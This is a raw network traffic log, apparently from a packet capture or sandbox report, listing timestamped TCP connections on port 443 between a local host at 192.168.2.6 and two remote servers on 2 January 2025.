Jan 2, 2025 20:28:31.953262091 CET	443	49912	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:31.953324080 CET	49912	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:31.953896999 CET	49912	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:31.995332956 CET	443	49912	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:32.322097063 CET	443	49919	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:32.322217941 CET	49919	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:32.326525927 CET	49919	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:32.326553106 CET	443	49919	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:32.326844931 CET	443	49919	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:32.326961994 CET	49919	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:32.327406883 CET	49919	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:32.329133034 CET	443	49912	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:32.329210043 CET	49912	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:32.329214096 CET	443	49912	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:32.329322100 CET	49912	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:32.329375029 CET	49912	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:32.329396963 CET	443	49912	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:32.329988003 CET	49923	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:32.330029011 CET	443	49923	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:32.330091953 CET	49924	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:32.330128908 CET	443	49924	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:32.330136061 CET	49923	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:32.330183029 CET	49924	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:32.330346107 CET	49923	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:32.330355883 CET	443	49923	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:32.330539942 CET	49924	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:32.330553055 CET	443	49924	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:32.332952976 CET	443	49918	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:32.333036900 CET	49918	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:32.334100962 CET	443	49918	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:32.334167004 CET	49918	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:32.335984945 CET	49918	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:32.336011887 CET	443	49918	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:32.336561918 CET	443	49918	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:32.336636066 CET	49918	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:32.337017059 CET	49918	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:32.371347904 CET	443	49919	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:32.379348040 CET	443	49918	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:32.720149040 CET	443	49918	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:32.720217943 CET	49918	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:32.720247984 CET	443	49918	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:32.720287085 CET	49918	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:32.721095085 CET	49918	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:32.721275091 CET	443	49918	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:32.721330881 CET	49918	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:32.721857071 CET	49926	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:32.721890926 CET	443	49926	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:32.722069979 CET	49926	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:32.722572088 CET	49926	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:32.722583055 CET	443	49926	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:32.734191895 CET	443	49919	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:32.734247923 CET	443	49919	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:32.734301090 CET	49919	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:32.734328032 CET	443	49919	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:32.734369993 CET	49919	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:32.734410048 CET	443	49919	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:32.734447002 CET	49919	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:32.734473944 CET	443	49919	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:32.734513998 CET	49919	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:32.735375881 CET	49919	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:32.735400915 CET	443	49919	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:32.736100912 CET	49927	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:32.736119986 CET	443	49927	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:32.736207008 CET	49927	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:32.736524105 CET	49927	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:32.736532927 CET	443	49927	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:32.977312088 CET	443	49923	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:32.977411032 CET	49923	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:32.977555990 CET	443	49924	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:32.977650881 CET	49924	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:32.978360891 CET	49923	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:32.978364944 CET	443	49923	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:32.978571892 CET	49923	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:32.978576899 CET	443	49923	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:32.980181932 CET	49924	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:32.980186939 CET	443	49924	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:32.980343103 CET	49924	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:32.980349064 CET	443	49924	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:33.366630077 CET	443	49924	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:33.366734028 CET	49924	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:33.366746902 CET	443	49924	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:33.366911888 CET	49924	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:33.366978884 CET	49924	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:33.367018938 CET	443	49924	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:33.367160082 CET	443	49924	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:33.367232084 CET	49924	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:33.367232084 CET	49924	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:33.367589951 CET	49932	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:33.367661953 CET	443	49932	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:33.367724895 CET	49932	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:33.367954016 CET	49932	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:33.367973089 CET	443	49932	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:33.368235111 CET	443	49926	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:33.368319035 CET	49926	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:33.369015932 CET	443	49926	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:33.369081974 CET	49926	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:33.371189117 CET	49926	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:33.371196985 CET	443	49926	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:33.371504068 CET	443	49926	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:33.371577024 CET	49926	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:33.372046947 CET	49926	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:33.406727076 CET	443	49923	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:33.406780958 CET	443	49923	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:33.406793118 CET	49923	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:33.406801939 CET	443	49923	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:33.406819105 CET	49923	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:33.406857967 CET	49923	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:33.406876087 CET	443	49923	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:33.406915903 CET	49923	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:33.406919956 CET	443	49923	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:33.406975031 CET	443	49923	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:33.407032013 CET	49923	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:33.407803059 CET	49923	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:33.407818079 CET	443	49923	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:33.408437967 CET	49933	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:33.408504009 CET	443	49933	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:33.408576012 CET	49933	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:33.408902884 CET	49933	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:33.408925056 CET	443	49933	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:33.419338942 CET	443	49926	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:33.419465065 CET	443	49927	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:33.419552088 CET	49927	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:33.420835018 CET	49927	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:33.420841932 CET	443	49927	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:33.421013117 CET	49927	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:33.421017885 CET	443	49927	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:33.750267982 CET	443	49926	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:33.750366926 CET	49926	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:33.750380993 CET	443	49926	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:33.750442982 CET	49926	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:33.750634909 CET	49926	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:33.750686884 CET	443	49926	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:33.750848055 CET	443	49926	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:33.750905991 CET	49926	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:33.750943899 CET	49926	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:33.751425028 CET	49936	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:33.751470089 CET	443	49936	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:33.751533985 CET	49936	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:33.751820087 CET	49936	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:33.751833916 CET	443	49936	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:33.896203041 CET	443	49927	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:33.896259069 CET	443	49927	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:33.896318913 CET	49927	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:33.896332026 CET	443	49927	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:33.896357059 CET	49927	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:33.896380901 CET	443	49927	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:33.896476984 CET	49927	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:33.897239923 CET	49927	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:33.897259951 CET	443	49927	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:33.897802114 CET	49938	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:33.897861958 CET	443	49938	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:33.897958040 CET	49938	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:33.898179054 CET	49938	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:33.898205042 CET	443	49938	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:34.015845060 CET	443	49932	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:34.015930891 CET	49932	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:34.016585112 CET	443	49932	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:34.016669035 CET	49932	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:34.020107985 CET	49932	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:34.020119905 CET	443	49932	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:34.020406008 CET	443	49932	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:34.020483971 CET	49932	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:34.020874977 CET	49932	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:34.063354969 CET	443	49932	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:34.082798958 CET	443	49933	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:34.082885981 CET	49933	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:34.083623886 CET	49933	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:34.083636999 CET	443	49933	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:34.085422993 CET	49933	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:34.085432053 CET	443	49933	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:34.331382990 CET	443	49932	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:34.331455946 CET	443	49932	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:34.333290100 CET	49932	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:34.334443092 CET	49932	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:34.334475040 CET	443	49932	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:34.334491014 CET	49932	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:34.334526062 CET	49932	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:34.335423946 CET	49939	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:34.335483074 CET	443	49939	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:34.335555077 CET	49939	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:34.335792065 CET	49939	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:34.335809946 CET	443	49939	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:34.422733068 CET	443	49936	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:34.422812939 CET	49936	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:34.423800945 CET	443	49936	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:34.423851967 CET	49936	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:34.425610065 CET	49936	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:34.425623894 CET	443	49936	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:34.425983906 CET	443	49936	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:34.426028967 CET	49936	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:34.426445961 CET	49936	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:34.467329025 CET	443	49936	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:34.507461071 CET	443	49933	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:34.507524014 CET	443	49933	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:34.507535934 CET	49933	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:34.507555008 CET	443	49933	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:34.507570982 CET	49933	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:34.507606983 CET	49933	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:34.507615089 CET	443	49933	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:34.507644892 CET	49933	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:34.507649899 CET	443	49933	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:34.507673979 CET	443	49933	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:34.507716894 CET	49933	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:34.508527994 CET	49933	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:34.508542061 CET	443	49933	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:34.509695053 CET	49943	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:34.509737968 CET	443	49943	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:34.509809017 CET	49943	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:34.510763884 CET	49943	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:34.510776043 CET	443	49943	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:34.525973082 CET	443	49938	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:34.526042938 CET	49938	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:34.526525974 CET	49938	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:34.526537895 CET	443	49938	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:34.526705980 CET	49938	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:34.526712894 CET	443	49938	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:34.806940079 CET	443	49936	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:34.806998014 CET	49936	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:34.807029009 CET	443	49936	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:34.807073116 CET	49936	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:34.807291985 CET	49936	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:34.807468891 CET	443	49936	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:34.807554960 CET	49936	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:34.808132887 CET	49945	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:34.808156967 CET	443	49945	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:34.808222055 CET	49945	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:34.808460951 CET	49945	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:34.808469057 CET	443	49945	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:34.944700956 CET	443	49938	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:34.944756031 CET	443	49938	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:34.944761992 CET	49938	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:34.944793940 CET	443	49938	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:34.944819927 CET	49938	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:34.944844007 CET	49938	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:34.944848061 CET	443	49938	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:34.944873095 CET	443	49938	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:34.944920063 CET	49938	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:34.945909977 CET	49938	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:34.945924044 CET	443	49938	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:34.946929932 CET	49946	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:34.946963072 CET	443	49946	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:34.947035074 CET	49946	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:34.947841883 CET	49946	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:34.947851896 CET	443	49946	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:34.990870953 CET	443	49939	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:34.992986917 CET	49939	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:34.993539095 CET	49939	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:34.993545055 CET	443	49939	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:34.993745089 CET	49939	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:34.993747950 CET	443	49939	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:35.139014006 CET	443	49943	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:35.139095068 CET	49943	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:35.139574051 CET	49943	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:35.139578104 CET	443	49943	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:35.139831066 CET	49943	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:35.139834881 CET	443	49943	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:35.321357965 CET	49945	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:35.321405888 CET	49946	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:35.321425915 CET	49939	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:35.321465969 CET	49943	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:35.324888945 CET	49951	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:35.324922085 CET	443	49951	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:35.324982882 CET	49951	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:35.325380087 CET	49951	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:35.325390100 CET	443	49951	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:35.326514959 CET	49952	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:35.326554060 CET	443	49952	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:35.326616049 CET	49952	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:35.326915979 CET	49952	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:35.326927900 CET	443	49952	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:35.963196993 CET	443	49951	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:35.963289022 CET	49951	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:35.963449955 CET	443	49952	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:35.963512897 CET	49952	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:35.964020967 CET	443	49951	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:35.964116096 CET	49951	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:35.964226007 CET	443	49952	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:35.964279890 CET	49952	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:35.968923092 CET	49951	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:35.968929052 CET	443	49951	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:35.968971014 CET	49952	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:35.968985081 CET	443	49952	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:35.969238997 CET	443	49952	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:35.969248056 CET	443	49951	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:35.969309092 CET	49952	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:35.969325066 CET	49951	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:35.969716072 CET	49951	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:35.969893932 CET	49952	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:36.015321970 CET	443	49951	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:36.015333891 CET	443	49952	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:36.354100943 CET	443	49951	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:36.354500055 CET	49951	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:36.354511023 CET	443	49951	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:36.354594946 CET	49951	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:36.354764938 CET	49951	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:36.354796886 CET	443	49951	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:36.354964972 CET	443	49951	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:36.354981899 CET	49951	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:36.355279922 CET	49951	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:36.355782986 CET	49961	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:36.355850935 CET	443	49961	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:36.355931997 CET	49961	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:36.356097937 CET	49962	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:36.356106043 CET	443	49962	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:36.356153965 CET	49962	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:36.356426954 CET	49961	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:36.356440067 CET	443	49961	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:36.356451988 CET	49962	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:36.356461048 CET	443	49962	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:36.363990068 CET	443	49952	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:36.364063025 CET	49952	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:36.364093065 CET	443	49952	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:36.364135027 CET	49952	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:36.364208937 CET	49952	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:36.364248991 CET	443	49952	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:36.364294052 CET	49952	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:36.364744902 CET	49963	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:36.364789009 CET	443	49963	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:36.364840031 CET	49964	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:36.364865065 CET	49963	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:36.364871979 CET	443	49964	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:36.365056038 CET	49963	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:36.365063906 CET	443	49963	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:36.365319967 CET	49964	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:36.365319967 CET	49964	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:36.365359068 CET	443	49964	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:36.996155977 CET	443	49961	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:36.996249914 CET	49961	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:36.997554064 CET	443	49964	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:36.997641087 CET	49964	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:36.998085022 CET	443	49963	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:36.998157978 CET	49963	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:36.998894930 CET	443	49963	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:36.998939037 CET	49963	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:37.000790119 CET	49961	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:37.000801086 CET	443	49961	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:37.001058102 CET	443	49961	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:37.001111984 CET	49961	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:37.001631021 CET	49961	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:37.002721071 CET	49964	443	192.168.2.6	142.250.185.65
